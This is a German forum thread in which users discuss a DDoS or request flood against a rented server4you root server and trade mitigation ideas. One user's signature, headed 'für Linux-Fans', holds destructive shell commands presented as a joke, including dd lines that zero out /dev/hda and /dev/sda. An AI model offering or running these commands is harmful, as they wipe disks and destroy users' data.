Also ist zwar schon alt der Beitrag aber am besten hilft ne Neuinitialisierung des Root weil ja kein Mensch weis wo sich die überall reingehängt haben.

Würde zusätzlich IP2Ban draufschmeissen, das Tool hällt auf jeden fall mal die Kinder fern vom Root.
Noch besser wäre den SSH Zugang zu sperren bzw. wenn man ne statische IP hat diesen nur auf die eigene IP einzustellen. Noch besser wäre sperren des SSH.

Offline

|

was soll das gegen DDos Attacken helfen ?

generell ist dein Comment nicht passend, da diese sich nicht reingehackt haben, sondern den Server belastet haben.

Antoine de Saint-Exupéry: Wenn Du ein Schiff bauen willst, so trommle nicht Männer zusammen, um Holz zu beschaffen, Aufgaben zu verteilen, sondern lehre die Männer die Sehnsucht nach dem endlosen weiten Meer.

Offline

|

problem ist nur, dass kaum jemand ne staticIP hat und dass man den ssh ja braucht um den root zu verwalten^^

außerdem gehts hier darum, dass der server einfach in einer sehr hohen frequenz angefragt wird. das kann man am server selbst kaum verhindern, weil man ja will, dass er abgefragt werden kann, nur nicht so oft.

Offline

|

Da ich selber einen Server bei server4you in benutzung habe kann ich dir sagen das eine reine Neuinstallation leider nicht viel Auswirkungen hat.

Die Rechenzentren von denen stehen sehr oft unter Angriffen von irgendwelchen "kids", wenn man dass heute noch so nennen kann.

Ich empfehle dir daher dich einmal mit dem Kundenservice von server4you auseinander zusetzen. Diese beheben das problem eigentlich ziehmlich schnell.

Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann

if($ahnung==0) {
read( 'handbuch' ) ;
}


## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443

Offline

|

So etwas ist nicht all zu schwer, wenn der richtige Port offen ist. Mit einem Ping, nein, sogar schon nur mit einer Email und ein paar Email weiterleitungen lässt sich dein Server ohne weiteres lahmlegen.

Könnte sein dass durch die mod security dieser gateway nun richtig konfiguriert ist. /Wobei der bei heutigen Servern sowieso immer richtig konfiguriert sein müsste.

Offline

|

naja - bei mir hatte ich zeit damals keine probleme mehr "gottseidank" ^^

aber von server4you war ich dann schon einbisschen enttäuscht,
wenn ich mal überlege das ich jeden monat 60€ (ohne domains) für n hammer server zahl,
und aufeinmal wird der server attakiert und ich bekomme nur den tipp einfach ausschalten
dagegenmachen kann ma nix nach ner woche ist der spuck evtl vorbei.

naja da frag ich mich nach dem fachlichen wissen - naja die buchhaltung ist dort auch net der reiser aber preis leistung ist halt genial ^^

aber wurscht preisvergleich gehört ja nich her.

ist nur schad das man immer viel tüftel muss wenn man attackiert wird, das es da keine musterlösung bzw software gibt.

gruß aschti




edit2:

ich habe mir noch n server organisiert und trenne die homepages vom rest - so passiert wenigsten der performance auf dem ts / gamesever nix.

Offline

|